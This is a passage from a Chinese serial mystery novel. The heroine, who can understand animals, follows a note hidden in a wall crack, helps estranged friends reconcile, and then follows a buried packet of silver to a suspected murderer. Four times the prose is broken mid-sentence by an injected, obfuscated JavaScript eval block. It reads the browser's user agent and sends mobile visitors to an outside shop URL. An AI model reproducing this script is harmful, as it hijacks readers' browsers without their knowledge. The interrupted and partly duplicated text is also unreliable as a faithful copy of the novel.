穆青青叹了口气,对丁小猴耐心解释道:“陈老板没有抢黄鼠狼的鸡毛,那鸡毛是黄鼠狼自己不小心掉的。黄鼠狼也没有被欺负,它已经得到很好的补偿了。你看,”她拿出那枚黄鼠狼最终没带走的铜钱,“它甚至没要这十文钱。捡到别人的东西,应该想办法归还。这顶针是阿福哥很重要的东西,你能还给他吗?作为感谢和补偿,陈老板会给你准备一些吃的、穿的,如果你愿意,也可以去铺子里帮忙干点力所能及的零活,换些饭食和工钱,堂堂正正地生活,好吗?” 丁小猴瞪大了眼睛,努力消化着这些话。他看了看手中被自己擦得发亮的顶针,又看了看穆青青温和而诚恳的脸,再看看赵捕头并没有凶恶的表情,终于慢慢松开了紧握的拳头,把顶针递了出来,小声地、带着一丝期待问:“我……我不知道是这样的。我……我真的能去干活?给饭吃?” “真的。”穆青青肯定地点点头,接过那枚失而复得的铜顶针。 回去的路上,赵捕头摇头笑道:“绕了这么大个圈子,原来是这么回事。黄鼠狼要的是亮东西和吃的,小孩想的是替朋友出头,咱琢磨的是案子。 穆青青却仍皱着眉头。杂货铺的案子确实算是解决了,但张秀才家的麻烦似乎远没有结束。 她之前私下里问过丁小猴,玳瑁猫叼给她的那张纸条上的字,是不是他写的。 丁小猴倒是爽快,一点没藏着掖着:“是我写的。可那词儿不是我的,是别人念一句,我照着描一句。” 穆青青心头一紧:“谁念的?” “不认得。”丁小猴挠挠头,“一个男的,穿灰衣裳,戴着帽子,巷口站过几回,我见过他。”他顿了顿,努力回忆,“他问我是不是会写字,我说会几个。他就说,你帮我写句话,我给你两文钱。我就写了。” “写的什么,你还记得吗?” “记得。‘张娘子藏了东西,在灶膛第三块砖下。”丁小猴一字一顿,背得很熟,“他让我写完就塞进墙缝里,塞完就走了。别的啥也没说。” 穆青青沉默片刻,又问:“那你知不知道,那纸条后来会到谁手里?” 丁小猴茫然地摇头:“不知道。他让我塞我就塞了。” 这条线便断了。 不,没有完全断。 穆青青等到再次见到玳瑁猫时,特意问它,玳瑁猫蹲在墙头,尾巴慢慢扫着。 【喵……墙缝里。】它说,【本喵以为是吃的,结果什么都没有,就扔给你了……反正你喜欢管这些奇奇怪怪的事。】 【喵。经常有人往那墙缝里塞东西。本喵见过好几回。】 穆青青心里一动。 原来那张纸条,根本就不是给她的。 它只是被人放在了一个自认为隐蔽的地方,等待某人来取。而玳瑁猫碰巧看见了,碰巧叼走了,又碰巧叼到了她面前。 从头到尾,穆青青都是个局外人。 可那人究竟是谁?他为何要监视张秀才?他探到的消息想传给谁? 穆青青决定从头查起。她先托赵捕头帮忙,把张秀才与李文远当年的旧事仔仔细细打听了一遍。 赵捕头是丰城本地人,人脉关系广,他跑了两天,带回的消息比上回详尽许多。 “李文远和张茂才,是同乡,也是同窗。十五六岁就一起读书,交情很好。” 赵捕头坐在县衙偏厅,掰着指头数,“后来两人都中了秀才,又都看上了同一个姑娘,就是现在的张周氏。周家是开杂货铺的,小门小户,当年小姑娘生得清秀,据说还会识几个字。” 穆青青问:“后来呢?” “那年春天,张茂才的父亲病倒了。大夫说是痨症,拖不过秋天。”赵捕头叹了口气,“张茂才想赶在父亲闭眼前中个举人,好歹让老人家走得安心些。可那会儿家里已经空了,连赴考的盘缠都凑不出来。” “是李文远借给他的?” “是。”赵捕头说,“李文远他爹是私塾先生,一辈子省吃俭用,供儿子读书。那二十两银子,是李家给李文远攒的赴考盘缠,预备着来年开春去府城拜师的。” 穆青青顿了一下:“他自己没留?” “没留。”赵捕头道,“李文远二话没说,全借了。” “那他后来去考了吗?” “没有。”赵捕头摇头,“钱借出去了,拜师的事自然就搁下了。” 穆青青沉默片刻。 “他爹……知道吗?” 赵捕头没有立刻回答。 他沉默了一会儿,才低声道:“起初是瞒着的。李文远跟家里说,盘缠在客栈被偷了,来年再攒。他爹信了。” “后来呢?” “后来……纸包不住火。”赵捕头叹了口气,“他爹不知从哪里听说了实情。二十两银子不是被偷的,是借给了张茂才。老人家一口气没上来,当场就厥过去了。” 穆青青心头一紧。 “那一年秋天,张茂才去府城赴考。同一时间,李文远的父亲躺在床上,起不来了。”赵捕头声音很轻,“大夫说是急火攻心,伤了根基。熬了两个月,还是没熬过那年冬天。” “他爹临终前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173238|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”穆青青问,“说什么了?” “只说了一句话。”赵捕头道,“‘我这辈子,就只能供出这么一个读书人。’” 屋里安静了很久。 穆青青没有追问李文远有没有赶回去送终。她知道答案。 “那之后呢?”她问。 “李文远在家守了七七四十九天。”赵捕头说,“那四十九天里,他没出过门,也没见任何人。张茂才登门三次,都没能进去。” “第四次呢?” “没有第四次。”赵捕头道,“出殡那天,张茂才远远跟在送葬队伍后面,走完了全程。李文远始终没有回头看他一眼。” 穆青青没有说话。 “后来,”赵捕头继续道,“大约是他父亲过世三个月后,周家忽然点了头,把姑娘许给了张茂才。没有像样的聘礼,没有三媒六证,就简简单单拜了堂。” “李文远那时候在哪儿?” “在县城。”赵捕头道,“成亲前几天,他去找过张茂才。没人知道他们说了什么,只知道他从张家出来时,脸色白得像纸。” “成亲前一天,”赵捕头顿了顿,“他去了周家,把那张二十两的借据当着周姑娘的面烧了。” “烧了?” “烧了。说这钱是贺礼,不用还。” 赵捕头道,“第二天张茂才成亲,李文远没露面。有人说天不亮就看见他背着包袱出了城门,往北边去了,之后再没回来过。” 穆青青问:“他走的时候,带了多少银子?” “不知道。”赵捕头摇头,“大约是没带多少。那二十两是他全部的家当,早一年就借出去了。” 穆青青沉默了很久。 她终于把整件事串起来了。 李文远借钱给张茂才,误了自己的科考。 他爹因此急火攻心,一病不起,到死都没看到儿子金榜题名。 李文远这一生,欠他爹一个交代。 那二十两银子,是他爹的血汗,是他爹的指望。他把这笔钱给了别人,把自己的前程让给了别人,然后他爹死了。 他这辈子没法原谅自己。 所以他烧了借据。 他不是大方,是不敢留着。 那张纸放在那里,就是一刀一刀剜他的肉。 所以他远走他乡。 他不是怨恨张茂才,是没有脸留在这里。每看见一次张茂才,他就会想起那年秋天,他爹躺在床上,而他拿不出任何东西来换他爹的命。 所以他二十年不回来。 不是不想回,是回不来。 他爹的坟在那里,他不敢去。 穆青青问:“那李文远这些年过得如何?” “我去邻县问过了。”赵捕头道,“李文远刚到那几年,过得极难。投亲不成,带的盘缠很快就用光了。他在码头扛过货,在饭馆洗过碗,最窘迫的时候,连着三天只喝凉水。后来是县衙一个老书吏可怜他,看他识字,便荐他进衙门做了跑腿的杂役。他从杂役熬到书吏,熬了整整八年。” 49. 张秀才的心结(2) “那八年里,他回过乡吗?” “没有。” “他父亲的坟呢?可有人祭扫?” “这就不清楚了。”赵捕头摇头,“李文远在邻县娶了亲,娶的是当地一个寡妇。衙门里的人说他是个闷葫芦,不爱应酬,逢年过节也不回乡。有人问过他家在哪里,他只摇头,什么都不说。” 穆青青又问:“他有没有提起过张茂才?” “没有。”赵捕头道,“我问了好几个人,都说从没听他提过老家的事,也没有人知道他从前还有个同窗。” 穆青青沉默了一会儿。 “那……张茂才呢?他这些年可曾找过李文远?” “找过。”赵捕头道,“李文远刚走那几年,张茂才四处托人打听,凡是往北边去的商队、脚夫,他都托过。后来听说李文远在邻县娶了亲,他还托人带过贺礼。” “贺礼送出去了吗?” “退了回来。”赵捕头道,“李文远没收。” 穆青青轻轻叹了口气。 “后来呢?” “后来就慢慢断了。”赵捕头说,“张茂才这些年过得艰难,赶考一次落一次,家里穷得叮当响。他想还那二十两银子,可拿什么还?他给李文远写过信,寄去过路引,能试的法子都试了。” “李文远回信吗?” “回。”赵捕头道,“头两年还回。信越写越短,起初还有一页纸,后来只剩几行,再后来是寥寥数语。‘勿念’、‘安好’、‘各自珍重’。” “再后来呢?” “再后来就没有了。”赵捕头道,“有一年,张茂才寄出的信被原封不动退了回来。信封上写着‘此人已迁居,地址不详’。那是十一年前的事。” “从那之后,他就以为李文远……” 赵捕头点了点头。 “他以为李文远死了。”他说,“他跟我打听人的时候说过,文远兄身子骨一向不算硬朗,一个人在异乡,没人照应,怕是早就不在了。” 穆青青没有说话。 她忽然想起玳瑁猫的话。 ——前些天夜里,我听见那家男主人在院里自言自语,说什么“若此次再不中,有何颜面”……还念叨一个名字,叫“文远兄”的,说对不起他。 二十年了。 他以为那个人死了。 他以为是自己欠了一条命。 穆青青没有立刻去见张秀才夫妇。 她先去找了趟丁小猴。 “再帮我写张纸条。”她说。 丁小猴抬头看她,眼睛亮晶晶的:“还写那个墙缝里?” “不。”穆青青道,“写好了,我替你去送。” 她念,他写。 一笔一划,歪歪扭扭,却是这间破庙里最郑重的字迹。 【文远兄安好。邻县衙门,刑房书吏。娶妻,无子。】 【二十年不曾回乡。每岁清明,独自面北而揖。】 【人皆在,盼故人音信。】 穆青青把纸条折好,揣进袖中。 她没有把它放进墙缝。她去了张家。 张秀才不在。张娘子一个人坐在窗前,手里捧着那件补好的旧衣裳,不知在想什么。听见脚步声,她慌忙把衣裳叠起来,脸上挤出客气的笑。 “穆姑娘,又劳你跑一趟……” “张嫂子。”穆青青站在门槛边,没有进去,“有件事,我想了很久,还是该告诉你。” 张娘子怔住。 “李文远。”穆青青一字一顿,“他没有死。他在邻县当书吏,活得好好的。” 张娘子的手剧烈地抖了一下。 那件叠好的衣裳从她膝头滑落,落在地上,她也没有去捡。 她张了张嘴,像是想问什么,喉咙里却只发出一声极轻极轻的、破碎的气音。 “……你说……什么?” “他活着。”穆青青轻声道,“二十年前他离开县城,身上只有几钱碎银子。那二十两,他全借给了你们,那是他爹给他攒的赴考盘缠。” 张娘子的眼泪一颗一颗落下来。 “他爹后来知道了。”穆青青说,“老人家一口气没上来,病了两个月,没熬过那年冬天。” 张娘子捂住脸,肩膀剧烈地抖着。 “李文远以为是自己害死了亲爹。”穆青青说,“他不敢回来,也没脸见你们。他在码头扛过货,在饭馆洗过碗,最难的时候连着三天只喝凉水。后来进了衙门,从杂役熬到书吏,熬了八年。” “他父亲去世那年他没有回来。此后二十年,每个清明他都独自面北而揖。” “他不是怨你们。他是没脸回来。” 张娘子没有说话。她只是坐在那里,眼泪流了满脸。 穆青青把那张纸条放在桌上。 “他还活着。”她说,“你们以为他死了,他也以为你们早就忘了他。二十年了,两边都在等对方先开口。” “可你们谁也没有。” 她转身要走。 走到门口,身后传来张娘子极轻极轻的声音。 “……他还肯见我们吗?” 穆青青没有回头。 “那得你们自己去问他。” 张秀才当晚就去了邻县。 他走的时候,张娘子送到巷口,没有哭。腊月的风吹得人脸上生疼,她只是站在那里,看着那辆雇来的驴车慢慢走远,消失在灰蒙蒙的天边。 王娘子远远地看着,想上前搭话,被穆青青轻轻拉住了。 “让她自己待会儿。”穆青青说。 张娘子在巷口站了很久。 久到王铁匠家的芦花鸡都回了窝,久到巷子里的炊烟一柱一柱地灭了,久到她自己的手冻得通红,攥着的那块帕子已经冰凉。 然后她转身,一步一步走回家。 第二天傍晚,张秀才回来了。 不是一个人。 驴车停在巷口的时候,王娘子正在收衣裳,一眼看见车上下来两个人。一个是张秀才,另一个穿着半旧的青布袍子,身材敦实,面庞陌生,眼眶却红着。 她手里的衣裳又掉地上了。 “哎哟喂,”她压低嗓门冲屋里喊,“当家的你快出来!张秀才带了个生人回来!” 后面的话她没说完,因为那人抬起头,正对上她的目光。 王娘子愣住了。 那是一个中年男人的脸,鬓边已有白发,眼角也添了细纹。可她就是认出来了。 二十年了。 “……李文远?”她脱口而出。 那人点了点头。 张娘子站在自家院门口,扶着门框。 她看着他一步一步走近,走到她面前三步远的地方,停住了。 二十年没见。 他老了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178151|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发白了,背也有些佝偻。可他站着的姿势,垂在身侧的手指微微蜷曲的样子,还是她记忆里的那个人。 她张了张嘴,想喊一声“文远哥”。那是他们少年时的称呼,已经二十年没有喊出口了。 那三个字堵在喉咙里,怎么也出不来。 李文远先开口了。 “……嫂子。”他说。 声音哑得像砂纸。 张娘子没有应声。她只是看着他,看着他鬓边的白发、眼角的细纹、那双写满了二十年不易的眼睛。 然后她忽然捂住脸,蹲在地上,号啕大哭。 李文远没有动。他只是站在那里,低着头,肩膀轻轻抖着。 张秀才站在他身后,眼眶红透。 梧桐巷的暮色里,没有一个人上前打扰。 李文远。 他回来了。 张娘子站在自家院门口,扶着门框。 她看着他一步一步走近,走到她面前三步远的地方,停住了。 二十年没见,他鬓边已经有了白发,眼角也添了细纹。可他站着的姿势,垂在身侧的手指微微蜷曲的样子,还是她记忆里的那个少年。 她张了张嘴,想喊一声“文远哥”。那是他们少年时的称呼,已经二十年没有喊出口了。 那三个字堵在喉咙里,怎么也出不来。 李文远先开口了。 “……嫂子。”他说。 声音哑得像砂纸。 张娘子忽然捂住脸,蹲在地上,号啕大哭。 李文远没有动。他只是站在那里,低着头,肩膀轻轻抖着。张秀才站在他身后,眼眶红透,一个字也说不出来。 梧桐巷的暮色里,没有一个人上前打扰。 那天夜里,穆青青没有出门。 她躺在榻上,听着巷子深处隐约的人声,不知过了多久,光幕忽然亮起来。 【梧桐巷夜话·戌时】 玳瑁猫:【喵……那家今夜点了三盏灯。】 王家芦花鸡:【咯咯哒?三盏?他家从没点过三盏。】 玳瑁猫:【喵。来了客人。】 灰鹦鹉:【文远兄,文远兄,别来无恙。】 这一次,它的学舌里没有了那股怪腔怪调,竟像是真的在问候。 穆青青听着,嘴角微微弯了一下。 她没有说话,只是慢慢闭上了眼睛。 张家和解后,日子似乎一日日好了起来。 李文远在县里住了三天才走。临走时,张秀才把他送到巷口,两个人在那棵老梧桐树下站了很久。 没有人知道他们说了什么。 只是张秀才回来时,眼眶是红的,步子却比往日轻快了许多。 此后每隔十天半月,邻县便有书信寄来。张娘子收信时也不再躲着人了,有时就坐在窗边慢慢看,看完了仔细叠好,放进床头那只旧木匣里。 三月初九,府试开榜。 张茂才的名字列在第七位。 报喜的锣鼓响彻梧桐巷那天,张娘子站在自家院门口,扶着门框,眼泪流了满脸。这回她没有躲,也没有捂脸,就那样站在那里,任由泪珠子一颗一颗砸在衣襟上。 张秀才从人群里挤出来,走到她面前,张了张嘴,想说什么,终究没说出口。 他只是伸出手,握住了她的手。 张娘子低下头,轻轻回握。 50. 木匠的心结(1) 巷口,王娘子抹着眼泪感慨:“哎呀,可算是熬出头了……”王铁匠闷声闷气地“嗯”了一声,把手里那挂准备庆贺的鞭炮举得老高。 丁小猴挤在人群里,踮着脚看热闹,被李掌柜一把拽过去:“别光看,去帮我把铺子门口那挂鞭也拿来!” 一片喧嚷中,穆青青静静站在巷子拐角处。 她看着张秀才夫妻并肩站着,两只手在袖子的遮掩下紧紧攥在一起;看着梧桐巷的男女老少难得放下各自的计较,热热闹闹地簇拥着那一家曾被认为“晦气”的穷书生。 她没有走近。 只是站了一会儿,转身回家。 张举人搬家那天,是个晴好的春日。 巷口的梧桐发了新芽,嫩绿嫩绿的。王娘子帮着收拾行李,嘴里絮絮叨叨:“这盆花带上,路上能看;那床被子别落下了,里头是新絮的棉……” 张娘子一一应着,眼角带着笑。 她的肚子已经微微隆起了。 临上车前,她回头看了梧桐巷一眼,目光越过人群,落在穆青青脸上。 “穆姑娘,”她轻声道,“那件事……多谢你。” 她没有说是什么事。 穆青青也没有问。只是点点头:“路上当心。” 驴车吱吱呀呀地走远了。 王娘子还在拿袖子擦眼睛:“哎,住了十来年,说走就走了……” 穆青青站在原地,望着巷口那棵梧桐树。 枝叶间漏下的光斑,细细碎碎地落在青石板上。 张家的事,到这里本该结束了。 可穆青青心里总还悬着一样东西。 那张纸条。 “张娘子藏了东西,在灶膛第三块砖下。。” 那个人费了那么多周折,让丁小猴写纸条,塞进墙缝里等着人来取。 他想传递的消息,究竟要告诉谁? 这阵子事情一件接一件,她始终没有机会去验证。 如今张家搬走了,院子空出来了。那砖下若真藏着什么,也该有个了结。 当天傍晚,穆青青就站在了张家院门外。 门上新挂了锁,院墙上的枯草还没来得及清理。房主是个上了年纪的老太太,住在巷子另一头,听说有人想进院子看看,倒也没多问,只摆摆手:“去吧去吧,反正也没值钱东西了。” 穆青青推门进去。 院子比她记忆中更空。水缸还在,枯死的花草还在,墙角那堆劈柴被搬走了,露出一面斑驳的老墙。 她走到灶膛边蹲下身,从东往西数。 第三块青砖,微微凸出,缝隙比别处宽。 她掏出那枚细铁签,轻轻撬动。 砖很松。 几乎没有费什么力气,那块砖便被她取了下来。 穆青青怔住了。 墙洞是空的。 凹洞里没有木匣,没有银锁,没有她想象中的任何东西。 只有一小撮干涸的泥土,和几片极细小的、像是从木头上刨下来的卷曲薄屑。 她把那片木屑捻在指尖,凑近细看。 是刨花。 新的。不是积年的旧物。 是张娘子自己把东西取走了,还是在她撬开砖之前有人已经来过了呢? 穆青青更倾向于后者。 她将那几片刨花用手帕包好,揣进袖中,又把砖原样塞了回去。 走出张家院门时,阳光正好。 梧桐巷里,王娘子正在院里晾衣裳,李掌柜的铺子传出拨算盘的脆响,几个孩童追着一只野猫跑过巷口。 一切如常。 可穆青青知道,有人在暗处。 那人盯了张家,或者张家的东西很久了。 她需要一个突破口。 当天夜里,穆青青唤来了玳瑁猫。 【墙缝那边,最近可有人来过?】 玳瑁猫蹲在墙头,尾巴慢慢扫着。 【喵……有。】 【什么时候?】 【前天夜里。】玳瑁猫舔舔爪子,【一个人,蹲在墙根底下,摸了好一会儿砖。本喵以为是老鼠。】 【你看清是谁了吗?】 玳瑁猫歪着脑袋想了想。 【喵……巷子东头那家新搬来的。兄妹俩。】 穆青青心头一动。 东头新搬来的。 是两个月前搬进梧桐巷的那户人家,两个年轻人,说是从乡下来城里讨生活的木匠。 哥哥寡言,妹妹也文静,平日只在院里做活,很少出门走动。 穆青青只见过他们一两面,连话都没说过。 【他们往墙缝里塞过东西吗?】 玳瑁猫摇头:【喵,没有。那个妹妹倒是常在巷子里转悠,东看看西看看。前天夜里来的是哥哥。】 穆青青沉默片刻。 【多谢你。】 她从袖中摸出半条小鱼干,放在墙头。玳瑁猫低头嗅了嗅,小口小口地吃起来。 第二天午后,穆青青去了巷子东头。 那户人家的院门虚掩着,院里传出刨木头的声响,一下一下,很有节奏。 她敲了敲门。 刨声停了。 片刻后,一个年轻男子拉开门。二十出头模样,穿着半旧短褐,袖口沾着木屑。他看见穆青青,微微怔了一下,随即垂下眼帘。 “穆姑娘。”他说。 院里那个姑娘也站了起来。她生得细眉细眼,手指上缠着一圈旧布条,像是做活时磨破的。她低着头,没敢看穆青青。 穆青青站在门口,没有进去。 “陈师傅,”她说,“我想问一件事。” 陈实没有应声,也没有抬头。 穆青青静静听完。 “墙缝里的纸条,”她问,“是你们放的?” 陈实摇头。 “不是我们放的。”他说,“我们也想知道是谁放的。” 穆青青微微一怔。 陈实看了妹妹一眼,陈秀儿低着头,没有说话。 “两个月前,我们刚到县城那天,”陈实道,“有人从门缝里塞了一张纸条进来。上面就写了一行字:‘张家后院墙角第三块砖’。” 穆青青问:“纸条还在吗?” 陈实摇头。 “留着也没用。”他说,“看了两眼就扔灶里烧了。” “那行字我认得的。”陈秀儿道,“‘张家后院墙角第三块砖’。我跟我哥说,有人让咱们去张家后院挖东西。” 穆青青问:“你们就信了?” 陈实苦笑了一下。 “不信。”他说,“可我们来县城,本来就是来找人的。那纸条说得这么准,我们想着,万一是真的呢?” 穆青青沉默了一会儿。 “找谁?” 陈实没有立刻回答。 院子里安静了一瞬。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183911|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈秀儿忽然开口了,声音低低的,却透着一股恨意。 “找张茂才。”她说,“找他全家。” 穆青青心头一动。 “为什么?” 陈实抬起头,眼眶有些红。 “二十年前,我爹在县城做木匠活,给张家打了一套桌椅。”他说,“活做完了,人就不见了。” “我娘等了他三年,没等到。后来病死了。临死前让我记住,一定要找到我爹的下落。” “我们找了十几年,只打听到一件事,我爹最后去的地方,是张家。” 穆青青沉默着。 陈实的声音越来越低。 “他来张家,是来取银子的。张家欠他十五两工钱,写了欠条,又写信叫他来拿。他来了,然后就再也没有回去。” “银子没了,人也没了。” “你说,不是张家害的,是谁?” 穆青青没有说话。 她看着陈实的眼睛。那里面有恨,有痛,有二十年积攒下来的、无处安放的东西。 “所以你们来梧桐巷,是来找张秀才报仇的。” 陈实没有否认。 陈秀儿低着头,手指紧紧攥着衣角,攥得指尖发白。 “我们盯了张家两个月。”陈实道,“看着他家穷成那样,看着张秀才考了一回又一回落榜,看着张嫂子偷偷当嫁妆、蹲在后院墙角哭。” 他顿了顿。 “我们想动手的。好几次都想。” “可每次看见张嫂子那双眼睛,又下不去手。” 穆青青没有说话。 院子里很静。只有风穿过屋檐的声音。 过了很久,陈实抬起头。 “那张纸条,我们不知道是谁塞的。”他说,“但我们去挖了。” 穆青青问:“挖到什么了?” 陈实沉默了一会儿,从怀里摸出一个布包,递了过来。 穆青青接过去,打开。 是一包银子。十五两,用红绳串着。银子很旧,上面有灰,但那红绳是新的,今年的新线。 穆青青看着那包银子,心里忽然明白了很多事。 “你们什么时候挖的?” “张家搬走那天夜里。”陈实道,“我们翻墙进去,撬开了那块砖。银子就在里面。” 穆青青问:“你们没有动?” 陈实摇头。 “没有。”他说,“我们不知道这银子是谁的,也不知道为什么要埋在那儿。我们想等着看,会不会有人来取。” 穆青青看着他。 “结果呢?” “前天夜里,有人去了。”陈实道,“一个老头,在墙根底下摸了半天。我们躲在暗处,看着他摸完走了。” 穆青青心头一动。 “你们认出他了吗?” 陈实点头。 “是巷子东头那个刘老头。”他说,“我们搬来这两个月,常见他在巷子里转悠,东看看西看看。当时没在意,现在想想,他一直在盯着张家。” 穆青青沉默了。 她没把那包银子还给他们。 “你们打算怎么办?” 陈实既然把银子拿了出来,也就没想过又拿回去。他低着头,没有说话。 陈秀儿忽然开口了,声音很轻。 “穆姑娘,”她说,“那老头为什么要把银子埋在那儿?他跟我爹的死,有什么关系?” 51. 木匠的心结(2) 穆青青看着她。 那眼睛里有恨,也有迷茫。 “我不知道。”她说,“但我会查清楚的。” 从陈家出来,穆青青没有回家。 她站在巷子里,把今晚听到的这些话在脑子里过了一遍。 陈实兄妹是来寻仇的。他们以为张家害死了他们的爹。他们盯了张家两个月,却始终没有动手。然后有人塞了一张纸条,告诉他们墙里有东西。他们去挖了,挖出了十五两银子。 那银子是谁埋的? 如果是张家埋的,为什么这些年穷成那样也不动?如果是别人埋的,为什么要埋在张家后院?为什么要告诉陈实他们? 穆青青抬头看了看天。月亮已经升起来了,清冷的光洒在梧桐巷的青石板路上。 她决定先睡一觉。 第二天一早,穆青青去了县衙。 她找到赵捕头,把昨晚的事大致说了一遍。当然,她隐去了陈实兄妹想报仇的那部分。 赵捕头听完,皱着眉头想了想:“所以你想让我查那个刘老头?” 穆青青点点头。 “住在梧桐巷东头那个刘老头,二十年前从邻县刘家村搬来的。查查他当年的底细,尤其是他来县城之前,有没有什么变故。” 赵捕头应了。 两天后,他带回消息。 “刘老四,本名刘福根,今年六十七。”赵捕头翻开一个小本子,一条一条念,“年轻时是个泥瓦匠,在乡下游走揽活。二十一年前,他突然在刘家村买了五亩地,村里人都说他是发了财。” 穆青青问:“什么财?” “没人知道。”赵捕头道,“他嘴紧,从不跟人提。买地之后没多久,他就搬来县城了,一直独居到现在。街坊都说他孤僻,不爱搭理人,也没见有什么亲朋好友来往。” 穆青青沉默了一会儿。 “他二十一年前在哪儿揽活?” 赵捕头翻了一页:“巧了,他那些年就在咱们县城附近转悠。有老人说,他跟张家那老爷子认识,还借住过一阵子。具体多久记不清了,反正是张茂才成亲前后那段时间。” 穆青青心里那个念头越来越清晰。 “还有吗?” 赵捕头压低声音:“还有一件事。邻县刘家村有个老木匠,九十多了,耳朵背但脑子还清楚。我托人去问,他说他记得刘福根,说那小子年轻时手头紧,穷得叮当响,后来突然阔了。有一回喝酒,还跟他显摆过,说是捡了个大便宜。” 穆青青心头一跳。 “什么大便宜?” “没说。”赵捕头道,“就说了这一句,再问就不答了。老木匠说,刘福根那人嘴紧,不该说的话一个字都不往外漏。” 穆青青谢过赵捕头,转身出了县衙。 她没有直接回梧桐巷,而是在街上慢慢走,把这两天的线索串起来想。 二十一年前。刘福根在县城附近揽活,借住在张家。那年张茂才成亲,陈大年来取银子,然后失踪了。刘福根随后发了财,买了地,搬来县城。 这中间,有没有联系? 陈大年身上有十五两银子。刘福根发的那笔财,是多少?没人知道。 可如果有人杀了陈大年,抢了那十五两银子,他敢花吗?敢拿出来买房买地吗? 不敢。太扎眼了。 所以他等到风声过了,才慢慢把钱花出去。先在很远的老家买地,再把地租出去收租,自己则搬来县城。 离事发地近一点,有什么风吹草动也能及时发觉。 穆青青站住了。 她想起陈实说的那句话:那砖下的银子是新的,红绳是今年的新线。 如果刘福根是凶手,他为什么要埋那包银子? 他想嫁祸给张家。 他想让陈实兄妹以为银子是张家藏的,让他们去找张家报仇。等他们杀了人,官府追查起来,他就可以高枕无忧了。 可他没想到,陈实兄妹拿到银子之后没有走,也没有动手。他们在等。 等什么?等那个埋银子的人。 而刘福根,果然去了。 穆青青回到梧桐巷时,天色已经暗了。 她没有回家,直接去了巷子东头。 刘家的院门紧闭。门上的漆都剥落了,露出灰白的木头。院墙是土坯的,年头久了,墙面斑驳。可有一截颜色明显比旁边的深,像是后来补的。 穆青青站在门口,敲了敲门。 里面没有动静。 她又敲了几下。 过了很久,门开了一条缝。一张干瘦的老脸从里面露出来,浑浊的眼睛盯着她。 “谁?” “刘老伯,我是县衙的穆青青,想问你几句话。” 那老头愣了一下,把门拉开了一点,却没有让开的意思。他的眼睛往穆青青身后扫了一眼,像是在看有没有别人。 “什么事?” 穆青青站在门口,没有进去。她往里看了一眼,院子不大,堆着些杂物,墙角有一棵老槐树,树下是一口井。有一堵颜色不一样的墙在院子东边,紧挨着一个破旧的猪圈。 猪圈早就没养猪了,空着,堆了些柴火。 她收回目光,看着老头。 “刘老伯,前天夜里,你去张家后院干什么?” 老头的脸色变了。 他张了张嘴,好一会儿才发出声音:“……我不知道你在说什么。” 穆青青看着他。 那眼睛里有恐惧。不只是恐惧,还有别的东西,像是被人撞破秘密之后的慌乱。 她慢慢道:“那砖下里的银子,是你埋的吧?” 老头的手微微发抖。 “我……我没有……你胡说……” 穆青青没有逼他。她只是看了一眼那截颜色不一样的墙,然后转身走了。 走出几步,她听见身后院门“砰”的一声关上了。 当天夜里,穆青青没有睡。 她坐在窗前,点了一盏小灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188370|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就着灯光看一本书。书是借来的,讲的是前朝的奇案,可她一个字都看不进去。 她在等。 月光照在院子里,把一切都染成淡淡的银色。巷子里很静,偶尔能听见远处传来一两声狗叫。 不知过了多久,墙头忽然传来一阵窸窣声。 玳瑁猫跳了下来,蹲在窗台上。 【喵……那个老头出门了。】 穆青青心头一动,放下书。 【去哪儿了?】 【往张家那边去了。】玳瑁猫舔舔爪子,【手里拎着个包袱,走路鬼鬼祟祟的。】 穆青青站起身,披上衣裳,轻轻推开门。 月光下,她沿着巷子往张家方向走去。 夜里的梧桐巷很安静。家家户户都关了门,窗户里透出昏黄的灯光。偶尔有一两声孩子的啼哭,很快又被哄住了。 走到张家院墙外,她远远看见一个人影,蹲在墙根底下。 是刘老头。 他蹲在那里,伸手在墙缝里摸着什么。摸了好一会儿,又站起身,往四下看了看,然后快步往巷子东头走去。他走得很急,脚步有些踉跄。 穆青青没有惊动他。 她等他走远,才走到那堵墙前,蹲下身,伸手往墙缝里摸了摸。 空的。 